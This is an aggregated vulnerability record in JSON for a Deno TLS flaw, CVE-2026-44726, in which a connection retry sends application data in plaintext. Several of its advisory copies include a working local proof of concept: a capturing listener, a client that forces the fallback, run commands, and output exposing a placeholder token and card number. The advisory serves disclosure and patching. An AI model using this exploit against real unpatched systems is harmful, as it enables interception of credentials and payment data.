{"id":"CVE-2026-44726","aliases":["EUVD-2026-38548","GHSA-chqv-56wv-7564","JLSEC-2026-654"],"status":"published","title":"Deno: TLS retry copies stale upgrade hook, risking plaintext traffic","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00234,"percentile":0.14438,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-319"],"published":"2026-05-27T19:51:46Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"crates.io","package":"deno","fixed_in":["2.7.8"],"sources":["ghsa","osv"]},{"ecosystem":"Julia","package":"Deno_jll","fixed_in":["2.8.1+0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"deno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.7.8"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.7.8"}]}]},{"source":"osv","ecosystem":"Julia","package":"Deno_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0+0"},{"fixed":"2.8.1+0"}]}]}],"products":[{"vendor":"deno","product":"deno"},{"vendor":"denoland","product":"deno"}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44726","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-chqv-56wv-7564","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44726.json","tags":["advisory"]},{"url":"https://github.com/denoland/deno","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44726","title":"Deno: TLS retry copies stale upgrade hook, risking plaintext traffic","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","status":"published","published":"2026-06-23T17:24:02.702Z","modified":"2026-06-25T13:48:50.17Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-319"],"updated_at":"2026-11-02T13:43:00.288193Z"}],"euvd":[{"id":"EUVD-2026-38548","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","status":"published","published":"2026-06-23T17:24:02Z","modified":"2026-06-25T13:48:50Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:29.213001Z"}],"ghsa":[{"id":"GHSA-chqv-56wv-7564","title":"Deno's TLS retry copies stale upgrade hook, risking plaintext traffic","description":"## Summary\n\nA flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. \n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) =\u003e {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) =\u003e {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () =\u003e {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) =\u003e {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -\u003e retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect — common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () =\u003e console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) =\u003e console.log(\"[victim] error:\", e.message));\n```\n\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03\n0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS.\n\nOn a vulnerable Deno (≥ 2.0.0, \u003c 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.","status":"published","published":"2026-05-27T19:51:46Z","modified":"2026-07-20T13:42:43Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-319"],"updated_at":"2026-11-02T14:40:46.257074Z"}],"nvd":[{"id":"CVE-2026-44726","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","status":"published","published":"2026-06-23T18:17:48.623Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"primary"}],"cwes":["CWE-319"],"updated_at":"2026-11-02T14:12:25.288279Z"}],"osv":[{"id":"CVE-2026-44726","title":"Deno: TLS retry copies stale upgrade hook, risking plaintext traffic","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","status":"published","published":"2026-06-23T17:24:02.702Z","modified":"2026-10-28T02:30:25.975872537Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-319"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"GHSA-chqv-56wv-7564","title":"Deno's TLS retry copies stale upgrade hook, risking plaintext traffic","description":"## Summary\n\nA flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. \n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) =\u003e {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) =\u003e {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () =\u003e {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) =\u003e {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -\u003e retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect — common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () =\u003e console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) =\u003e console.log(\"[victim] error:\", e.message));\n```\n\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03\n0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS.\n\nOn a vulnerable Deno (≥ 2.0.0, \u003c 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.","status":"published","published":"2026-05-27T19:51:46Z","modified":"2026-07-20T14:00:26.999224608Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-319"],"updated_at":"2026-11-02T15:46:45.28161Z"},{"id":"JLSEC-2026-654","title":"Deno's TLS retry copies stale upgrade hook, risking plaintext traffic","description":"## Summary\n\nA flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily` was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.\n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) =\u003e {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) =\u003e {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () =\u003e {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) =\u003e {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -\u003e retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect — common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () =\u003e console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) =\u003e console.log(\"[victim] error:\", e.message));\n```\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03 0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS.\n\nOn a vulnerable Deno (≥ 2.0.0, \u003c 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.","status":"published","published":"2026-07-07T13:43:33.746Z","modified":"2026-07-25T18:24:44.145545522Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:47:18.573531Z"}]}}
